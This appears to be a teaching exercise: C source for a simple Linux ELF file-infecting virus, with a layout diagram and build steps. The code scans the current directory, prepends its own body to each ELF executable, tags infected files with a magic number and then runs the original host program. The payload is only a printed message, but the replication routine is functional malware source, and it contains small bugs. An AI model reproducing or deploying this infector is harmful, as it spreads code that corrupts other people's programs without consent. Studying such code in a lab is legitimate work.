+-------------+ +
| Virus | |
|-------------| |
| | |
| Code | |
| | | size +------------+
| | | X | Infection |
| | | |------------|
| | | | |
| | | | |
+-------------+ + | |
| Virus |
| Size |
| X |
| |
| |
| |
+-------------+ + +------------+
| ELF file | | | |
|-------------| | | |
| | | | |
| | | | |
| | | | Program |
| | | | Size |
| | | | Y |
| | | size | |
| | | Y | |
| Code | | | |
| | | | |
| | | +------------+
| | | | Magic |
| | | +------------+
| | |
| | |
| | |
+-------------+ +/*
* This is a trivial ELF file infector. It simply pre-pends itself
* to the beginning of ELF executibles. When it runs it copies the
* later half of itself to a temporary file and executes it. Then
* it deletes the temp file.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#include <dirent.h>
#include <elf.h>
#include <fcntl.h>
#include <pwd.h>
// PARASITE_LENGTH the size of compiling virus //
#define PARASITE_LENGTH 10069
//infection rate indicator
#define MAGIC 6585
#define TMPFILE_TEMPLATE "/tmp/.virusXXXXXX"
#define MAX_BUF 1024
static int magic = MAGIC;
//virus file infication
int infect(char *filename, int hd, char *virus)
{
//temp file handle
int fd;
//file info
struct stat stat;
char *data;
char tmpfile[MAX_BUF];
char cmd[MAX_BUF]="\0";
int tmagic; // Store files magic number
int magicloc; // Location of magic number
Elf32_Ehdr ehdr;
/* check file for ELF program, binary linux program */
if(read(hd,&ehdr, sizeof(ehdr)) != sizeof(ehdr)) return 1;
if(
ehdr.e_ident[0] != ELFMAG0 ||
ehdr.e_ident[1] != ELFMAG1 ||
ehdr.e_ident[2] != ELFMAG2 ||
ehdr.e_ident[3] != ELFMAG3
) return 1;
//if (ehdr.e_type != ET_EXEC && ehdr.e_type != ET_DYN) return 1;
//if (ehdr.e_machine != EM_386) return 1;
//if (ehdr.e_version != EV_CURRENT) return 1;
//
/* check for magic (virus identificator) at the end of the file */
if(fstat(hd, &stat) < 0) return 1;
magicloc = stat.st_size - sizeof(magic);
if( lseek(hd, magicloc, SEEK_SET) != magicloc ) return 1;
//load magic character, infection rate
if(read(hd, &tmagic, sizeof(magic)) != sizeof(magic)) return 1;
//only infect if not already infected
if(tmagic == MAGIC) return 1;
if(lseek(hd, 0, SEEK_SET) != 0) exit(1);
/* Create temp file and self-extraction to temp file*/
strncpy(tmpfile, TMPFILE_TEMPLATE, MAX_BUF);
fd=mkstemp(tmpfile);
if(fd<0) { printf("open(%s)",tmpfile);exit(1); }
if (write(fd, virus, PARASITE_LENGTH) != PARASITE_LENGTH) return 1;
/* memory allocation for new infected file*/
data=(char *)malloc(stat.st_size);
if(data==NULL) return 1;
if(read(hd, data, stat.st_size) != stat.st_size) return 1;
/* add infected file at the end of virus, to the temp file*/
if(write(fd,data, stat.st_size) != stat.st_size) return 1;
/* mark file as infected*/
if(write(fd,&magic, sizeof(magic)) != sizeof(magic)) return 1;
/* permission and ownership*/
if(fchown(fd, stat.st_uid, stat.st_gid) < 0) return 1;
if(fchmod(fd, stat.st_mode) < 0) return 1;
/* rename temp file to original, now infected file*/
sprintf(cmd,"cp %s %s",tmpfile,filename);
//printf("%s\n",cmd);
if(system(cmd) != 0) return 1;
close(fd);
printf("***Infected %s.\n", filename);
return 0;
}
//search current directory for executable ELF files
void scan_dir(char *directory, char *virus)
{
int hd, vd;
int filecnt;
DIR *dd;
struct dirent *dirp;
struct stat stat;
char vfile[256];
/* open directory */
dd = opendir(directory);
// step through the entire directory
if(dirp != NULL) {
while (dirp = readdir(dd))
{
strncpy(vfile, directory, 255);
strcat(vfile, "/");
strncat(vfile, dirp->d_name, 255-strlen(vfile));
hd=open(vfile, O_RDONLY, 0);
if(hd >= 0) {
fstat(hd, &stat);
if(S_ISREG(stat.st_mode)) {
vd=open(vfile, O_RDWR, 0);
if(vd >= 0)
infect(vfile, vd, virus);
}
close(vd);
}
close(hd);
}
closedir(dd);
}
}
//seemingly malicious code
void payload(void)
{
printf("Malicious code...\n");
}
int main(int argc, char *argv[], char *envp[])
{
int fd, tmpfd;
struct stat stat;
int len;
char *data1, virus[PARASITE_LENGTH];
char tmpfile[MAX_BUF];
pid_t pid;
/* get info on the file*/
fd=open(argv[0], O_RDONLY, 0);
if (fstat(fd, &stat) < 0) return 1;
//load virus to memory
if (read(fd, virus, PARASITE_LENGTH) != PARASITE_LENGTH) return 1;
/* execute malicioud code */
payload();
//search in current directory
scan_dir(".", virus);
//get the location of original code in original not infected file
len = stat.st_size - PARASITE_LENGTH;
data1=(char*)malloc(len);
if(data1 == NULL) return 1;
if(lseek (fd, PARASITE_LENGTH, SEEK_SET) != PARASITE_LENGTH) return 1;
/* load infected program code */
if(read(fd, data1, len) != len) return 1;
close(fd);
/* write non-infected code to temp file */
strncpy(tmpfile, TMPFILE_TEMPLATE, MAX_BUF);
tmpfd = mkstemp(tmpfile);
if(tmpfd <0) return 1;
if (write(tmpfd, data1, len) != len) return 1;
fchmod(tmpfd, stat.st_mode);
free(data1);
close(tmpfd);
/* create copy of current process */
pid = fork();
if (pid <0) exit(1);
//launch extracted non-infected program
if(pid ==0) exit(execve(tmpfile, argv, envp));
//wait for the non-infected program and virus program to finish
if(waitpid(pid, NULL, 0) != pid) exit(1);
unlink(tmpfile);
exit(0);
return 0;
}
Note
$ yum -y groupinstall "Development Tools" $ yum -y install mc
$ wget http://zeus.fei.tuke.sk/bps3r/virus.c
gcc -o virus virus.c
$ ls -l virus
$ mcedit virus.c
#define PARASITE_LENGTH 10710gcc -o virus virus.c
$ mkdir test
$ cp virus ./test/